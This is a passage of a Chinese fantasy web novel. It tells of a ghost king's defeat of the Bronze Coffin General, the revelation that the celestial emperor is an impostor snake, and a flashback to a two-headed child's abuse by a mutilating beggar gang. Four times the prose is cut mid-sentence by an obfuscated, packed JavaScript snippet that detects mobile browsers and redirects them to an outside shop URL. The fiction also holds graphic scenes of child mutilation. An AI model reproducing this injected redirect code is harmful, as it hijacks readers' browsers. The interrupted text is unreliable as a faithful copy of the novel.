铜棺将军正守着棺材发疯,别说一时半会儿,估计一年半载都不会离开这个被别人强占的“老巢”。 应长恨想要救阿难,就必须先把水鬼撂翻了再说。 水鬼可不是好捏的软柿子,应长恨不敢小觑对方,决定直接祭出自己的最强大招。 他召出法宝骷髅头安在鬼刀风雷怒的刀柄上,鬼头刀因此成了真正的鬼头刀,威力将会暴增好几倍。 应长恨没有靠近铜棺将军,而是在他身后几十米远的地方动手发难。风雷怒的刀芒猝然迸出,宛如一道几十米长的白虹,无声无息地横劈而去。 铜棺将军已经被完全气疯了,整个人疯得很不在状态。 等他后知后觉地意识到又有人偷袭自己时,这回没能再走运成功避开,被应长恨倾尽全力的一记白虹刀芒劈中,一头栽倒在水面上不再动弹。 . “阿难弟弟,你可真是我的大救星啊!” “臭妖怪,你闲得无聊想作妖也挑一挑目标行不行?谁给你的勇气居然敢跟铜棺将军正面硬杠?这不是作妖是作死!” 应长恨劈头盖脸就一通臭骂,不过这是另一种意义上的打是亲骂是爱,所以阿难就算挨了骂还是照样笑脸相对。 “我错了我错了,我下次再也不敢了。” 阿难麻利地跳出青铜棺材时,已经变回虎头铃铛的小铃立刻把自己拴回主人的手腕。 “好小铃,你真棒,今晚帮了我的大忙。” 得到主人夸奖的小铃,十分开心地摇出一串清脆悦耳的铃声。 夸完小铃后,阿难做的第一件事,就是跑去追赶一动不动浮在湖面上随波逐流的铜棺将军。 “阿难弟弟,想不想看看铜棺将军的真容?现在机会来了。” 这个水鬼成名千余年,不但连名字都没有,也从来没人见过他的长相,实在令人无法不好奇,想要一睹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067753|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庐山真面目。 应长恨却是一脸漠不关心的神色,“不管他长啥样都已经被我干掉了,还有什么可看的。” “我要看,我要满足一下自己的好奇心。” 阿难以水上漂的轻盈姿态来到铜棺将军身旁,伸手掀开了那张白金面具后,他整个都难以置信地一震,失声道:“帝君!” 水波荡漾的湖面上,一动不动仰面浮着的铜棺将军,居然长着一张跟紫衡帝君英昊一模一样的面孔。 只不过同样的面孔,在云间仙境是威仪非凡的天神模样,在此刻却是阴森诡异的鬼魅模样。 应长恨闻声赶来一看,也是满脸意想不到的惊愕之色。 “水鬼怎么会跟英昊撞脸了?难道他们是孪生兄弟不成?如果真是的话,那这对兄弟的人生差距还真不是一般的大。” “帝君没有孪生兄弟,不过……” 阿难有所触动地想起了一件事,呼吸顿时为之一窒。 黑暗中,他能听到自己的心脏在一阵剧烈地狂跳,几乎要从胸膛里蹦出来。 “不过什么?” “快,先把他捞回棺材里再说。” 阿难顾不上回答,先指挥着应长恨捞人。 他满头雾水地把铜棺将军从水里捞起来放回青铜棺材,再一掌将棺材推上距离最近的缥缈峰。 . 午夜时分,浓墨般的夜色笼罩四野,半弯银白的冷月高悬于缥缈峰顶,如同一盏孤灯。 就着清明的月色,阿难趴在棺材边仔细检查铜棺将军的情况。 应长恨环抱着双臂站在他身后,神色不解地问道:“你刚才没说完的话是什么?” “帝君没有孪生兄弟,不过当年他是与一蛇同生。” 大概两千五百年前,英昊的母亲分娩当日,除了诞下一个男婴,还生了一条小蛇。 这一出生异象被时人认为是祥瑞之兆,英父没有伤害那条小蛇,而是把它送去了附近的山林中。 英昊十八岁那年英母去世,灵枢抬上山即将落葬时,一条大蛇突然出现在墓地。 它围着棺木绕行三圈,以头击棺血泪横流,众人都知道这是蛇子回来为母送终了。 英母入土为安后,英昊留下了这位蛇兄弟,为它取名玉京子,还带着它一起去太乙山修道。 等到他飞升成了云间仙境的神仙,也把它度化上天成了神蛇。 英昊成仙千年之后,玉京子就往生了。 天界的仙禽神兽,寿元一般长达几千年。玉京子之所以死得这么早,据说是当年陪英昊去无间鬼域作过战受过伤的缘故,所以成了一条英年早逝的蛇。 千余年前,玉京子作为紫衡帝君的神蛇兼半个兄弟,还是颇有点名气的。 但在时过境迁的千余年后,知道它的人已经寥寥无几,像应长恨根本连听都没有听说过。 他不无纳闷地又问:“水鬼和英昊长得一模一样,跟他与蛇同生有关系吗?” * 注:与蛇同生的设定出自《搜神记》卷十四所载《窦氏蛇》 86.似乎 应长恨还是搞不清楚这究竟是什么状况,而阿难已经弄清楚了铜棺将军到底是个什么鬼。 “他的魂魄并不完整,三魂只剩下人魂,七魄只剩下恶魄,所以只会作恶。” 顿了一下后,阿难又神色凝重地道:“人的魂魄不会无故残缺,除非是有人利用法术消魂灭魄。” 应长恨很奇怪,“为什么会有人要消灭铜棺将军的魂魄,是因为他和英昊长得一模一样吗?” “他不是和帝君长得一模一样,他就是帝君残缺的魂魄。” 阿难缓缓摇着头,吐出一句石破天惊的话,应长恨听得大吃一惊。 “什么,你确定?” “我确定,这道人魂凝成的人形和帝君一样,头顶有双旋。” 三魂分为天魂、地魂和人魂,人魂对应的是人形。 人死后,魂魄一般是虚无飘渺的存在。 只有不肯往生的鬼魂在长时间的修炼后,才能化魂体为肉身——生前是什么样子,化出的人形也就是什么样子。 更高阶的鬼修可以变幻出不同的外形,但那只不过是伪装,本相永远是自身原来的模样。 如果只是长相与紫衡帝君英昊如出一辙也就罢了,但铜棺将军那道人魂凝成的人形,也同样是头顶有双旋。 容貌酷似已经是很不可思议的巧合,特征也一致根本无法再用巧合来解释。 应长恨相信阿难做出的这一推测。原因很简单,作为紫衡帝君养过的仙鲤,他自然是比较熟悉他的情况。 “如果是这样的话,那么英昊等于已经死了上千年,云间仙境那位所谓的帝君其实是个冒牌货。他是何方神圣,怎么能够做到杀人后取而代之,还没让其他仙官看出自己是假的?” 应长恨觉得这一切实在不可思议,阿难苦笑着说出自己的看法。 “只能是一个跟帝君关系非常亲密的人,亲密到可以令他完全不设防;亲密到对他的一切都了如指掌烂熟于心;唯有如此才能先出其不意杀了他,再冒名顶替以他的身份当上天界头号大佬。” “有这样的人吗?” 本能地问出这个问题后,应长恨忽然有所明了地瞪大了双眼。 “没有这样的人,但是有一条这样的蛇——你说过英昊有个一母同胞的蛇兄弟。如今天界的那位紫衡帝君,该不会就是蛇精修炼而成的人形吧?” 阿难叹口气道:“似乎也只剩下这种可能性了。” . 银色的月光下,铜棺将军的面孔开始变得半透明,肉身正在朝着魂体转变。 阿难神色一变,“糟了,人魂凝成的人形要维持不住了。” 应长恨在一旁道:“我刚才倾尽全力劈了他一刀,不只是人形难以维持,他这道残缺的魂魄也保不住了,一身鬼元精华都将被阿福彻底吸干。” 骷髅头阿福只要一出动,就是不可逆转的绝杀。铜棺将军没能躲过这一刀,也就注定了魂飞魄散的结局。 “早知道这样,我刚才就不放大招了。现在他魂魄消散形神俱灭,想留作证据去指证云间仙境那个冒牌货都不能。” 应长恨懊悔之极地猛跺了一下脚,阿难注视着那张越来越透明的熟悉面孔,眼神中满是悲悯。 铜棺将军残缺的魂魄很快就完全消失了,青铜棺材里唯余一具空荡荡的白金盔甲。 一阵山风恰巧拂过,拂得无数枝叶簌簌作响时,仿佛是无数声苍凉的叹息。 人死了,魂魄也散了,就像没有来过世间一样,消失得无影无踪。 “他本是高高在上的紫衡帝君,只因信错了一条蛇,不但从天神沦为鬼魅,还魂飞魄散再也无法重入轮回,只能彻底消散于天地间,也是实惨了!” 应长恨虽然跟英昊从未打过交道,一点儿交情也谈不上,却也还是忍不住替他扼腕叹息。 阿难沉默不语,胸腔里像是弥漫开了一阵浓雾,让心境变得黯淡之极。 . 铜棺将军的魂魄不复存在,青铜棺材和白金盔甲也都成了无主的存在。这两样东西上都镌刻着精美又复杂的花纹,还有类似图画的文字。 应长恨看不懂那些文字的意思,阿难却能看懂一个大概。 “这是商周时期的金文,上面记载着青铜棺材属于一位在淮河战死的舟师将军,因为死后尸骨无存,所以棺材里只放了一套他的盔甲,再沉入水中实施水葬。” “你一个妖居然能看懂金文,佩服佩服。” 应长恨一个人都完全看不懂,实在是没法不佩服阿难的多才多艺。 “在天界混过的仙鲤,知识层面自然比较广了。” 阿难打了一个哈哈后,继续言归正传。 “帝君遭玉京子暗算后,逃出的一魂一魄也不知怎么躲进了这口棺材里。因为魂魄不全,所以要几百年才能蕴足法力出来露一次面。人魂可以让他化出本相,但恶魄却让他只会作恶。” 顿了一下后,他又若有所思地道: “也许不只是单纯的作恶。魂魄不全还会令他散失记忆,他可能不记得自己是被最信任的玉京子暗算而死,但被背叛杀害的惨痛经历还是深藏于潜意识中,令他变得狂躁疯癫,一心只想发泄心中强烈无比的忿恨。所以每隔几百年一次的露面,都是为祸一方的洪灾泛滥。” 应长恨深以为然,“你这番推测听上去合情合理,事实应该就是这样。” “咱们虽然能把事实真相推测出七七八八,却没有证据可以证明这一切。云间仙境的那位帝君,依然是高高在上的帝君。” “那个所谓的狗屁帝君,老子早就看他不顺眼了。现在既然知道他其实是个冒牌货蛇精,以后一定要找机会戳穿他不可。” 谈及紫衡帝君这位天界第一大佬,应长恨的语气很是不善,阿难不禁好奇询问。 “阿难弟弟,你为什么看他不顺眼?” “因为灵曜天君明光当年就是被他贬下凡间的。我从来都不相信那些扣在明光头上的所谓罪行,他绝无可能是那种狼子野心的人,一定是遭人陷害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092859|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。如今看来,陷害他的没准就是这个冒牌货蛇精。他可是假冒英昊在天界称帝,明光这种天纵奇才飞升成仙后,他很难不心怀忌惮怕被识破。找个理由把人撵走,对他来说自然更安全。” 这个猜测听起来逻辑方面没什么问题,但阿难还是觉得有些方面不太合理。 如果当年真是玉京子设局陷害自己,那他又是怎么让鬼王江天旷入局的呢? 在这个局里,江天旷是至关重要的一环,挑大梁的角色。如果他不登场,整出戏就没法唱下去。 玉京子如果想找这位鬼王来配合演出,威逼利诱都不可能,只有可能是把人骗过来。 但这并不是那么好骗的,鬼域之王只身独闯云间仙境,是风险系数很高的事,他但凡有点脑子也不会上这种当。 如果江天旷的出现跟玉京子无关,那么三百年前他秘密闯入云间仙境,意图刺杀紫衡帝君,就只能是他自己做出的选择。 虽然这个选择看上去像吃饱了撑的,放着鬼王的大好日子不过,非要单枪匹马独自跑去天界刺杀帝君,结果搞得自己送了命。但是没有人能逼他这么做。 见阿难若有所思地沉默着,应长恨不禁问道:“你在想什么?” “没什么。看来明光和玉京子,你是力挺前者了。” “那肯定啊,我凭什么支持一个如此恶毒的蛇精?他连明光的一根脚趾头都比不上。” 应长恨神色不屑地撇了一下唇角,毫不掩饰自己一百个看不上蛇精玉京子的鄙夷态度。 “你知道我为什么这么相信明光吗?” “为什么?” “因为他和你一样,也救过我的命。那时我还是一个小孩子,如果不是他,我早就死了。” . 三百多年前,应长恨出生于淮南一带的越城,是一个双头的畸形婴儿。一个是完整的,另一个是残缺的,叠在那个完整的头颅上。 如此畸形的孩子,一出生就遭到了父母的遗弃。他被丢在大街上自生自灭,一个闻讯赶来的乞丐团伙把他捡了回去。 这个乞丐团伙收留他并非出于善心,恰恰相反,他们都是十恶不赦的恶棍,专干采生折割的勾当。 所谓采生折割,是职业乞丐拐骗或是绑架幼童折磨成残疾:或砍断手脚;或刺瞎双目;再逼迫他们上街乞讨,利用路人的同情心敛财的凶残手段。 这个乞丐团伙的恶毒更甚,他们抓到的孩子都被人为炮制成畸形的怪物,通过街头卖艺的方式,来满足人们的猎奇心理赚钱。 比如,他们会把年幼的孩童以所谓折割的方式变成“狗”。 先用小刀割破孩子的皮肤,再把狗毛沾上去,养好伤后狗毛就和皮肤长在一起。 然后又将孩子打断手脚,灌上哑药,可怜的孩子最后就成了不会说话、只会爬行、浑身毛绒绒的“狗”。 十个接受这种所谓“折割”的孩子,能有一个活下来就算不错了。因为整个过程是无法想像的痛苦,年幼的孩子很难挺过去。 87.小怪物 他们曾经还试图打造人头蛇,为此陆续抓了十几个幼童回来,先斩去四肢再裹上蛇皮。 这种毫无人性的残忍手段,最终让这些孩子们全部死去,无一幸免。 应长恨这种双头畸形的孩子,正是这个乞丐团伙梦寐以求的宝贝。 都不需要再进行什么折割,直接就能派上用场,无论乞讨还是卖艺都能赚不少钱。 被乞丐团伙收留的应长恨,还在襁褓中就由一个女乞丐抱着四处乞讨。稍微大一点就带去街头卖艺,也就是把这个畸形的双头孩子对观众进行展出。 卖艺的时候,应长恨总是被关在一个黑布围住的木笼里,揽客的乞丐负责吆喝。 “双头人见过没有?想不想一开眼界,想的话不要错过,赶紧过来看一看瞧一瞧啊!” 等到好奇围观的路人纷纷抛出铜板后,黑布才会被取下来,赢得诸人的惊呼连连。 应长恨就这样长到七八岁,乞丐团伙像养狗一样养着他,平时拴根链子锁在柴房,一天喂两顿饭。 他也像狗一样懵懵懂懂地活着,完全不知道什么叫正常的生活。 . 后来乞丐团伙采生折割的罪行暴露了,几个恶贯满盈的家伙全部处以凌迟极刑。 应长恨和另一个惨遭折割成狗的孩子,都被送去越城一所慈幼局抚养。 慈幼局的条件有限,“狗”娃没多久就一病不起死了。而应长恨作为一个双头畸形儿,很难得到他人的真心接纳。 慈幼局的其他孩子都害怕他,负责照顾孩子的乳媪们也都不喜欢他。大家都觉得这个双头小男孩是一个小怪物,没有人愿意接近他。 尽管如此,慈幼局对于应长恨来说,已经算是正常的生活环境。 他不会再像狗一样被拴起来,有一日三餐可以果腹,还能在启蒙课室学习认字。 在慈幼局生活了一两年后,应长恨渐渐懂事了。他开始明白自己是别人眼里的小怪物,大家都不喜欢他。 他也不喜欢自己这副古怪吓人的模样,每天自卑地用一块布把头顶上那个畸形头颅盖起来。 一个春光明媚的日子,慈幼局的孩子们都被带出去踏青。每年一度的踏青出游,是这些孩子们最喜欢的活动。 山青水秀的越城嘉湖,有不少前来踏青游春的游人,到处都是熙熙攘攘的人群。 应长恨裹着头巾走在人群中,一开始并不显眼醒目。 不过一阵风吹走了那条头巾后,他身前身后立刻炸响了一片惊恐的声音。 “天啊,这个孩子怎么有两个头?” “好可怕,他是什么怪物吗?” “吓死我了,快离他远一点。” 在无数道害怕又厌恶的目光中,应长恨活像一只过街老鼠,慌不择路地在人群中四处乱钻,想要尽快把自己藏起来。 他所到之处,人们都唯恐避之不及地纷纷后退,仿佛跟他沾上就会倒大霉似的。 一个大腹便便的中年男子没来得及避开,跟应长恨撞在了一起,他骇然之极地一把将这个双头怪物推出老远。 当时的地点是一道湖中长堤,中年男子这奋力一推,直接把应长恨推得跌落湖中。 他完全不谙水性,落水后再怎么挣扎也无力自救,其他人也没有要施救的意思。 如果是一个普通的孩子落水,乐于施救者一定不少。 但是湖堤上的这些游人,刚才全部亲眼看见了应长恨是一个双头怪物,都不敢接近他,自然也就不愿意下水救他。 本能又徒劳地挣扎片刻后,应长恨就彻底放弃了。 虽然他还只是一个十岁左右的孩子,却也已经知道自己的人生路何等艰难,活着未必是好事,死了也未必是坏事。 如果真有来生,但愿我会是一个正常的孩子——怀着这样的心愿,应长恨缓缓沉入湖底,失去了所有意识。 . 重新恢复意识的时候,应长恨发现自己躺在慈幼局的屋子里。他居然还活着?是谁救了他? 一位乳媪坐在床边照顾他,眼神中多了几分往昔没有的慈爱,声音也温和极了。 “别怕,没事了。你现在和正常的孩子一样了。” 应长恨起初还不解其意,但是他能感觉到自己的头部被包扎起来了。下意识地一摸,愕然发现自己头顶上那个畸形头颅没有了。 “我的那个头呢?” “你也算是苦尽甘来,遇上一位修仙的真人救了你的命,还出手帮你割去了那个多余的畸形头颅。” 乳媪一番絮絮叨叨的解释后,应长恨才明白发生了什么事。 原来他沉入嘉湖后,一位路过的少年真人闻讯赶来救人。不但救了他的性命,还拯救了他悲惨的人生。 发现自己救上来的小孩是个畸形双头人,少年真人就知道这孩子无法拥有正常人的生活,除非能把那个多余的头颅割掉。 应长恨一大一小的两个头颅,是头顶的天灵盖紧挨在一起。 普通医师绝对不敢轻易行切割术,但是少年真人既懂医术又有灵药,决定出手帮这个孩子一把。 濒死前的心愿居然实现了,苏醒后的应长恨果然成了一个正常的孩子。 他十分感激为自己做了头颅切割术的少年真人,很想当面向他磕头道谢,可是他却已经离开了越城。 乳媪道:“明真人还有要事在身,已经走了。临走前留了两瓶药给你,一瓶内服一瓶外敷。说是不出半个月,你头上的伤就能痊愈,头皮也能正常长出头发。” 没能见上救命恩人一面,应长恨别提多失落了。 “明真人叫什么名字?长什么样子?以后要是有机会再遇上他,我总不能连恩人都认不出来吧。” “明真人自我介绍姓明名光,模样生得可俊呢!老婆子我活了大半辈子,从没见过这般英俊的少年,什么潘安宋玉估计都比不上。” 明光——这个名字被应长恨牢牢刻在心底,这是他的救命恩人,让他获得了双重新生,他永生永世都不会忘记。 . 回忆起久远的往事,应长恨的神色和声音,都带着夜雾般的迷蒙与飘渺。 “现在你知道了吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114612|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿福是我的本体法宝,他就是当年明光帮我切除的那个畸形头颅。” “嗯,已经猜到了。” 事实上,阿难早就猜出了这一点。 初识鬼阿难时,他就觉得这个小鬼有一点眼熟,以前似乎在哪里见过。 后来想了很久很久,终于想起了一桩几百年前的往事。对了,当年那个在嘉湖溺水的双头畸形儿好像就叫阿难。 被乞丐团伙圈养时,应长恨是没有名字的,他们都随口管他叫小崽子。 后来到了慈幼局,启蒙课堂的教书先生为他取名叫阿难,因为这个畸形儿的一生,是可以预见的艰难。 当应长恨的泥娃娃阿福,第一次在步云山显露骷髅头骨的法宝本相时,阿难就基本能够确定这一点:没错,看来就是他了。 唯有当年那个双头畸形的孩子,才能炼制这样独一无二的本体法宝。 只是不知道,那个已经恢复了正常外形的孩子,为什么会英年早逝。 死后又为什么不愿意重入轮回,而是选择在无间鬼域搏杀出一条血路,最终成功坐上鬼王的宝座。 从阿难到应长恨,这个转变的过程一定经历了很多很多。 阿难欲言又止,终究还是没有开口询问,而是话题一转道:“你这趟回无间鬼域,和朱颜悔谈得怎么样?” “谈得很不错,现在她和厉无情一样,都愿意真正臣服于我。” 如今不只是厉无情愿意臣服于应长恨,朱颜悔也一改初衷,愿意力挺这位新任鬼王,而非阴奉阳违地暗中搞事情。 . 从阿难那儿得知了白云峰顶发生的一切,应长恨回到无间鬼域后,特意把朱颜悔找来深谈一番。 自云间仙境归来的朱颜悔,整个人就像一座貌似平静但随时可能喷发出炽红熔岩的火山。 她被烧红的脑子里终日只盘算着一件事——怎么杀了郦子微报仇,而且还不能让他死得太痛快,否则难消她心头之恨。 对于应长恨的召见,心烦气躁的朱颜悔其实很不想去,却又不得不过去应付一下。 鬼王刚上任,正是新官上任三把火的时候,她如果敢违抗命令,那就是一个自讨苦吃的活靶子。 “不知鬼王召见我有何要事?” 看着貌似恭敬的朱颜悔,应长恨开门见山地道:“听说你前两天去了云间仙境,还在那儿意外发现了一位夙世仇人。” 朱颜悔大吃一惊,不明白应长恨怎么会知道了这一切。这件事她并没有告诉其他人,只能是云间仙境那边走漏了风声。 但天界发生的事情,就算是已经在天界传得沸沸扬扬,也不可能传到应长恨耳中吧?难道他在那边还有眼线不成? 如果是,那这位新鬼王还真是不简单呢! “鬼王,你是怎么知晓此事的?” “我自有我的消息来源。” 故弄玄虚地回答了这句话后,应长恨又道:“真是想不到,郦仙郎竟是你前世的情郎,为了攀高枝还狠心无情地害死了你。这种人居然也能飞升成仙,天道也未免太不公了一些。” 88.希望 这些话说到朱颜悔的心坎里去了,她的一双眼睛亮得灼人,无数悲愤与憎恨在熊熊燃烧着。 “没错,天道真是不公,凭什么他把我害得这么惨还能飞上天当神仙,而我这个受害人却要沦落鬼域为鬼?我不服,死也不服。” 朱颜悔尖利无比的声音透露出她满心强烈的愤慨,应长恨顺势提点她一番。 “天道既然不公,那么公平就只能自己争取。如果你想杀了那位郦仙郎报仇,就得想办法再上云间仙境。这一点,单凭你个人的力量肯定做不到,除非无间鬼域组织一支鬼军杀上天界。” 朱颜悔心念一动:“听鬼王话里的意思,似乎有意征伐云间仙境?” “没错,当年天界曾率军来讨伐过无间鬼域,来而不往非礼,我也想杀上去给那些神仙们一点颜色瞧瞧。厉无情已经答应鼎力相助,你现在应该也很乐意为之效力吧?” 朱颜悔没有丝毫犹豫地立刻跪下,对新任鬼王表示出自己最恭敬的臣服姿态。 “我愿为鬼王效力,鞠躬尽瘁,死而后已。” 单凭朱颜悔个人的力量,想要杀了郦子微报仇难度系数实在太高。如果他一直躲在天界不露面,她就要一筹莫展。 但是如果能由鬼王出面,率军杀上云间仙境,她想要手刃仇人可就容易多了。 心甘情愿地臣服于应长恨后,朱颜悔还不忘提醒他一句。 “鬼王,厉无情这人未必可靠,他答应鼎力相助也不一定是真心话,你还是小心提防一点为妙。” “放心吧,厉无情和你一样,也有个仇人在云间仙境当神仙。这些年来一直恨不能食其肉寢其皮,却又拿对方没办法。听说我想出兵征伐天界,他举双手加双脚赞成。” 一听是这么回事,朱颜悔就不再对厉无情有猜忌之心了,毕竟相似的处境让她完全可以理解他。 “原来如此,那就没问题了,不知厉无情的仇人是谁?” 这一点应长恨就不想多作赘述,直接让朱颜悔找厉无情谈好了。 “这个你就自己去问他吧,你们二人也该彼此加深一下了解,以后共事时也会更加方便。” 无论厉无情与朱颜悔之前基于各人利益如何彼此算计,在得知双方都有着同样的天界仇人后,很多猜忌与防范都可以被化解。 在共同的目标前,敌人都可以暂时成为盟友,何况他们本就是同一阵营的人。 . 不过,此时此刻跟阿难交谈时,应长恨却有意无意地没有提及他想组织一支鬼军杀上天界的事。 作为云间仙境堕凡的仙鲤,阿难不像他们三个恶煞一样,对天界那边怀有刻骨的仇恨与敌意。 如果告知他这一打算,他肯定不会赞同,也会夹在中间两头为难,那就不如别提了。 “他们愿意真正臣服于你,那你一定是承诺了他们什么吧?” “对,他们现在不是都有仙官仇人想杀嘛,我就答应有机会帮他们报仇。” 应长恨有意说得轻描淡写,阿难听了却苦笑连连。 “我猜就是这么一回事。你这个死鬼也真敢揽事上身啊!弘文真君郦子微也就罢了,太玄真君陆衢可不是什么好捏的软柿子。而且这两位仙官如果死在你们手里,云间仙境和无间鬼域肯定就要开战了。” “战就战呗,谁怕谁呀!上回天界武神杀来无间鬼域,那可是杀敌一千自损八百的恶战,并没占到什么便宜。” “上回天界虽然是惨胜,但毕竟还是胜了,无间鬼域基本被肃清一空。你才刚当上鬼王不久,能不能先把宝座坐热乎一点些去惹事,别上赶着找神仙组团来灭你行吗?” 作为已经死过一次的鬼,如果再死就是彻底魂飞魄散,从此永诀于天地间。阿难无论如何不希望看到应长恨得到一个这样的结果。 “知道了,我能当上鬼王也不容易,这个鬼王宝座起码要坐上几百年才不亏,才不会轻易找死呢!” 阿难拍着应长恨的肩膀笑道:“很好,热爱生命,不要找死,这才是聪明人的活法。” 不管活着有多苦多难多不容易,也还是要努力活下去。因为只有活着,才有希望。 . 太平岛,无极宗仙府摩宵宫。 阿难上岛时,是艳阳当空的正午,阳光如同无数金色雨点,撒得到处亮闪闪。 “阴宗主,我又来蹭饭吃了。” 厨房里,阴有苓和一帮师弟师妹们正坐在一起吃饭。阿难人还没进屋,就鼻子很灵地先闻到了油爆虾的味道,香得不要不要的。 “那你来得还真是时候,正赶上饭点了,你们谁去给他拿一副碗筷?” 小胖墩阿宽一边很热情为阿难送上碗筷,一边很耿直地问道:“阿难哥哥,你专门掐着饭点来的吧?” 阿难笑嘻嘻地点头承认,“是啊,为了能赶上午饭,我一大早就赶路出发了!” 阴有苓道:“你真有口福,昨天他们几个出海捞了不少鱼虾回来,多得都吃不完,屋顶上还晒着鱼干呢!” “那我今日可要饱餐一顿了。放心,不白吃,我带了好东西来。” 阴有苓随口问道:“什么好东西?” 阿难低着头专注于剥虾,头也不回地道:“先吃饭,吃饱了再给你。” . 吃完午饭后,阿难单独把阴有苓叫到一旁,从怀里掏出一本小册子递给她。 “这是无极宗失传几百年的东西吧?正好物归原主。” 阴有苓接过去一看,眼睛立刻瞪圆了:“这是——《拏云道书》!” 《拏云道书》曾经是无极宗最重要的传世秘典,没有之一。 三百年前,步云山的那场雷火让摩宵宫化为灰烬,也让无数秘典与法宝均被焚毁一空,包括《拏云道书》在内。 失去了这些历代积累的珍藏,无极宗也就无异于失去了东山再起的机会,所以这几百年来除了没落还是没落。 “阿难,你哪儿搞来的这本《拏云道书》,真的假的?” “我从华源真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137012|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君的华源殿顺来的,肯定是真的无疑了!” 华源真君越君朴出身于无极宗,他能飞升成仙,离不开对《拏云道书》苦心钻研。 华源殿如果有这本书,应该是他个人默录下来的,也绝对不会是假货。 “什么?这怎么可能啊!你是在逗我玩吧?” 阴有苓难以置信,阿难只是一介小妖,凭他的修为怎么可能去得了云间仙境。 别说他压根就不可能飞上九重天,就算能,遇上镇守白云关的武神也只有被一脚踹下来的份儿。 “是真的,前阵子我找到机会混上了云间仙境。大老远的去了,总不能白跑一趟是吧?所以就分别在普和殿与华源殿各自顺了一点宝贝下来。” “你是怎么混上云间仙境的?” “说来话长,总之就是机缘巧合,让我赶上了。” “就算是机会难得,可你毕竟只是一个小妖,为什么要冒这么大的风险混上云间仙境?你图什么呀?” “因为高风险能带来高回报——我图的就是这个。” 阿难再次把自己的“仙鲤”身份搬出来,对阴有苓如此这般地解说一番。 “原来你以前是仙鲤,因为闻了祸才自堕凡界沦为妖。难怪你不但逮着机会敢混上云间仙境,还敢在两位仙官的神殿里顺手牵羊。像你这种吃了熊心豹子胆的鱼,真不是人间凡界能有的品种。” 阿难哈哈一笑道:“哪里哪里,过奖过奖。” “阿难,你冒这么大的风险混上云间仙境,为自己窃取七转仙灵丹也就罢了,居然还帮我偷了这本《拏云道书》。咱们非亲非故的,你为什么要这么做?” “大家都是朋友了,能帮就顺便帮一把。不只是你,我还多偷了一枚七转仙灵丹准备给任天真。大老远跑一趟,多搞一点是一点,总之好朋友都有份。” 听说阿难也为任天真弄了一枚七转仙灵丹,阴有苓的神色为之一松。如果单单是她有这种待遇,她真的很难不多想。 很多时候,一个男人如果肯为一个女人以身犯险,多半都是因为对她心怀爱意。 而阴有苓无法回报这种情愫,也不愿意通过这点去利用男人获取好处。 “阴有苓,你和任天真虽然一个人、一个妖,但在我眼里都是倾盖如故的朋友。朋友之谊无关男女之情,你不用顾虑太多,直接收下就行了。” 阿难脸上的笑容,明亮通透得像正午时分的阳光,没有一丝一毫的阴影与晦暗。 阴有苓突然有些惭愧于自己的多心,干脆爽快地一点头。 “好,那我收下了。以后你有什么用得着我的地方,只管开口,绝不推辞。” 阿难煞有介事地问:“正好现在有件事要你点头,我想去摸一摸留在摩宵宫镇宅的仙剑日月明,没问题吧?” 现在阿难不是妖鱼而是仙鲤了,看人下菜的仙剑日月明不会再攻击他,大可以与之亲密接触一下。 “没问题,随便摸。你要带走都行,我反正不稀罕。” 89.变化 摩宵宫正殿前的庭院,仙剑日月明就插在中心位置。是青石甬道上的一个拦路虎,不允许任何人忽略它的醒目存在。 “大明啊,我终于能摸一摸你了。” 阿难走到仙剑旁边蹲下来,直接把整柄剑抱进怀里,一双手活像撸猫撸狗似的撸起了剑。 感应到了来者身上有仙元,日月明很温顺地接受被撸,与之前的“恶形恶状”判若两剑。 虎头铃铛在主人的手腕上叮叮轻响,是嘟嘟哝哝地数落着日月明是柄傻剑,蠢得要死的那种。 之前配合主人迎战铜棺将军,小铃的法力几乎全部耗尽,又要养精蓄锐好一阵子。 眼下它的所有能耐都要等法力恢复后才能重新派用场,除了骂剑也没别的事可干。 “小铃,别再骂大明了。如果当初你和它的位置对换一下,现在认不出我的人就是你了。” 